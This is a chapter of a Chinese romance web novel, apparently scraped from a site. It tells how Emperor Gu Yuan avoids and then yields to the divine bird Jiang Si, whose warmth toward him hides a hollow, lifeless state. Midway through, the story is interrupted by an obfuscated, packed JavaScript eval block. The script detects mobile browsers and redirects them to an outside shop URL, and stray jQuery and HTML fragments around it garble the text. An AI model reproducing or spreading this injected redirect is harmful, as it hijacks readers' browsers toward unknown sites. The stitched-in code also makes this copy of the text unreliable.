顾渊不敢去凤凰台见姜姒,姜姒也没来天辰殿找顾渊,从绿袖口中,顾渊知道姜姒依旧是每天坐在箫韶亭中发呆。
绿袖可以是唯一知道顾渊和姜姒之间发生了什么事的人,那天她去凤凰台打扫时,见箫韶亭中未散去的淫/靡,她就隐约猜到昨夜发生了什么。
绿袖聪慧,自然也清楚有些事,知道了,也是不知道。
于是她每日如常来到凤凰台打扫和送吃食,关于那夜的事,哪怕是对红叶,她也只字不提。
顾渊问什么,她就如实回答什么。
顾渊坐在案桌前,听见绿袖说姜姒经常静默坐在箫韶亭中发呆,他端着茶碗的手一顿,旋即放下了手中的茶,又问道:“他一句话都没说?”
绿袖道:“姜姒大人一句话都没说。”
“你下去吧。”
绿袖行礼后退了出去。
顾渊一手撑着腮,另一只手放在案桌上,食指和中指有规律的交错敲击在桌面,忽然,他的手停了下来,起身朝着凤凰台走去。
他还未走近箫韶亭,远远就看见姜姒倚在那里发着呆。
姜姒的脸上没有任何表情,就像一具没有灵魂的人偶。
距那夜荒唐已经过去了大半个月,亭子里的暧昧淫/靡早已不在,一切看起来好像又恢复如初。
但是……
只是看起来。
本来倚在亭中发呆的姜姒在看见顾渊后,立马起身朝着顾渊扑了过去,那具没有灵魂的人偶好似活了过来一样,他看向顾渊的眼神里都是无尽的爱意。
顾渊被那眼神烫了一下,他下意识地还想要逃走,但他整个人都被姜姒抱住。姜姒将头靠在他的怀中,话中带着委屈与埋怨,对顾渊道:“知陛下事忙,但也别冷落我这么久……”
陛下……
他不在叫自己阿离了。
“朕只是……”顾渊想解释什么,当话在嘴边,却说不出来。
因为没什么可解释的。
这大半个月他就是在躲着姜姒。
曾经,他想要拥有他,可是现在……在姜姒那满怀爱意的眸子里,他看见的……是无止境的深渊。
然而,堕入深渊的人,就是顾渊自己。
“陛下不用解释,我不会怪陛下。”姜姒抬起头,一只手捧着顾渊的脸颊,眸光潋滟,眉目含情,嘴角含春,“今天陪陪我好吗?”
顾渊的眸色深了,他知道自己拒绝不了姜姒的邀请。而此时的姜姒,已经不是高高在上的鹓雏,他是尤物,引人不可自拔的尤物。
顾渊突然觉得这样也挺好,那个他不敢亵渎的神明舍弃了自己的神圣,痴缠在自己身/下。
他虽心疼,却是控制不住,最后他将深陷。
在那缠绵旖旎中,顾渊甘之如饴,他不知道自己有多久没上早朝了,几乎每天都沉浸在凤凰台上的温柔乡中。
当徐君延将奏折送来时,顾渊十分不悦。昨夜太过于折腾,姜姒还在有凤来仪昏睡,顾渊披着一件外衣来到箫韶亭,徐君延立在亭子外,静静等侯着。
徐君延见顾渊黑着一张脸,他识趣的什么也没说,只是把奏折放在亭中的矮桌上,然后离开了。
顾渊看着面前的奏折,才想起自己荒废朝政一月有余。
他拿起矮桌上的奏折,仔细看了起来。
徐君延很细心,还留了一支批阅奏折的朱砂笔。
顾渊并不是昏君,他拿起奏折后很快就废寝忘食了起来,等他把奏折批阅完,已是傍晚。
他抬起头,姜姒不知何时来了。姜姒也没有打扰他,安静地坐在亭子前的石阶上,脚边放着一个食盒。
姜姒手里拿着一枝山茶的树枝,没有在发呆,而是在眺望着远方。
他脸上神色漠然,没有任何表情,眼神空洞,让那本来灵动清澈的双瞳,看上去就像一对琉璃珠子,甚至还不如琉璃珠子,至少那琉璃珠子上还有光,而他的眼睛,就像一双死鱼眼,死气沉沉。姜姒身上穿着一袭白衣,青丝未束,垂在腰间,手上拿着的那枝山茶树枝是他身上唯一的颜色。
顾渊心头猛地一紧,他隐约觉察到了什么,却不敢细想下去。
听见亭子里有动静,姜姒才回过头,看见顾渊在看他,姜姒面无表情的脸上立马显现出情意绵绵。他随手将他身上唯一的颜色扔去,就像一只蝴蝶一样,提着衣摆,蹁跹地来到顾渊身边,从侧身将人抱住。
爱意太过于炙热,炙热到让顾渊以为刚才看见他脸上漠然都是他的错觉。
“陛下看了那么久的奏折,累了吧?晚上我们一起去水天云馆那边泡温泉怎么样?”姜姒在顾渊跟前撒着娇,“先前绿袖来送吃食,我见陛下在看奏折,就让她把食盒留下,不过现在这菜都凉了。”
姜姒松开了顾渊,想了想,来到亭子外把那食盒提了进来。他一手食指与中指并拢于唇边,默念着火焰咒,只见食盒四周笼罩了一层热气。
很快,食盒里面的菜都热了。姜姒先将奏折放在一旁的簟席上,然后将食盒的盖子打开,把里面的菜肴一样一样的拿出来,最后是碗箸。
以前是顾渊布菜,这一个多月以来,都是姜姒将菜布好,又手持着象牙箸,把顾渊喜欢的菜夹了起来,喂在他嘴边。有时顾渊只咬了一半,他便将剩下一半的菜自己吃了。
顾渊看着姜姒丹唇含着自己咬过的菜,舌尖似乎无意的舔过筷子,他呼吸一滞。
他是真的很喜欢姜姒,从最初的恐慌到现在的无法自拔。
理智的那根弦绷紧,他变得混乱,他不知道自己为什么要这样做?或许只是最原始的愉悦。
顾渊不敢深究于姜姒的改变,他只能自欺欺人般,胆怯地拥抱着他的神明。
但是刚才,他见姜姒捻着咒,眼眸微垂,脸上的表情不似独坐时的漠然,也不像见到自己时的喜欢,而是像最初的时候,一切都没有发生的时候。
他还是南禺之山上,那高高在上身份尊贵的神兽鹓雏。
而他只是求到南禺之山的太子苍离。
顾渊的心陡然疼了起来,好像被什么东西紧紧攥着一样,又疼又喘不过气。
“陛下,怎么了?”姜姒发现顾渊脸色异常,关心地问道。
“没……没事……”姜姒凑到了顾渊跟前,顾渊连忙躲开。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808187|208415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>姜姒是整个人都倚在他身上,顾渊这一躲开,姜姒顺势就直接摔在了他的腿上。
许是无意的碰到某处,顾渊神色一僵,强行压制欲念。
见此,姜姒笑了起来,轻轻吹了口气,抬起的眼眸,媚眼如丝。
他朱唇轻启,含笑唤道:“陛下……”
顾渊腾地站了起来,他几乎强忍着自身的冲动,咬着牙说:“你先吃饭,朕还有事。”
他又逃了。
顾渊离开箫韶亭,姜姒就坐直了身子,脸上的娇笑不在,眼底一片平静。他回过头,看着顾渊离开的方向,双手紧握成拳,随后,他又松开了。姜姒端起了碗,麻木地拿着筷子,一口一口的吃着饭,如同嚼蜡。
姜姒吃完了饭,天已经黑了。前几日入了秋,蟋蟀们都躲在屋檐下,满城的桂花也藏在叶下偷偷含苞待放。
夜里开始有了凉意,姜姒衣着单薄地站在箫韶亭里,风吹过他的发梢,他脸上没有任何表情。
绿袖来到凤凰台时,就见到这番景象。
姜姒的变化,她是最清楚的,她之前一直故作不见,可是今天她没忍住开口道:“姜姒大人,这夜里凉,您还是进屋子里吧。”
姜姒不语,依旧站在那里,神情淡漠,目光望远,不知在看什么,眼睛毫无光泽,如死珠一般。
绿袖张了张嘴,她知道自己说什么也没用,她将亭中碗筷收拾了,又把有凤来仪打扫完了才离开。
临走时,她道:“奴婢出门前,陛下已更衣休息了,姜姒大人不用在等陛下了。”
姜姒依旧不语,在其他人面前,他就是一具没有灵魂的人偶。
绿袖叹了口气,离开了凤凰台,她照顾了姜姒这些年,见他这样,绿袖心中也不是滋味。在随后的几天,绿袖见顾渊又没去凤凰台,她在给顾渊端茶时,故作无意的提到了姜姒。
“陛下,这入了秋,天气也冷了,要不要让尚服局制一些秋冬的衣服给姜姒大人送去。”
顾渊正在看书,听见姜姒的名字,他将手中的书“啪”地一声合上。
绿袖连忙跪下叩首道:“陛下赎罪,是奴婢多嘴。”
顾渊冷冷地看着她,绿袖跪伏在地上,如芒在背。
半晌,顾渊收回目光,他端起刚才绿袖送来的茶,琥珀色的茶水里面是三颗小果子。顾渊现在并不相信月千歌,于是他将茶杯放回了桌案上,冷声吩咐道:“以后别给朕泡什么八月蜜,朕不喜欢。”
绿袖道:“奴婢明白。”
是夜,下了秋天的第一大场大雨,豆大的雨滴拍打在屋檐上,噼里啪啦的,吵得顾渊难以入睡。
窗外风雨飘摇,顾渊在龙榻上辗转半宿,还是坐了起来。
这夜秋雨的落下,让这天愈发冷了,顾渊想起了白天绿袖说的话——要不要让尚服局制一些秋冬的衣服给姜姒大人送去。
顾渊有些担心姜姒,随后又想到姜姒有过冬的衣服,而且他还是神兽,极寒之地都冻不着他,更何况这人间的寒秋。
虽是这样想,顾渊第二天一下了早朝就找到绿袖,让她去尚服局一趟,命尚服局的宫人给姜姒准备新的冬衣。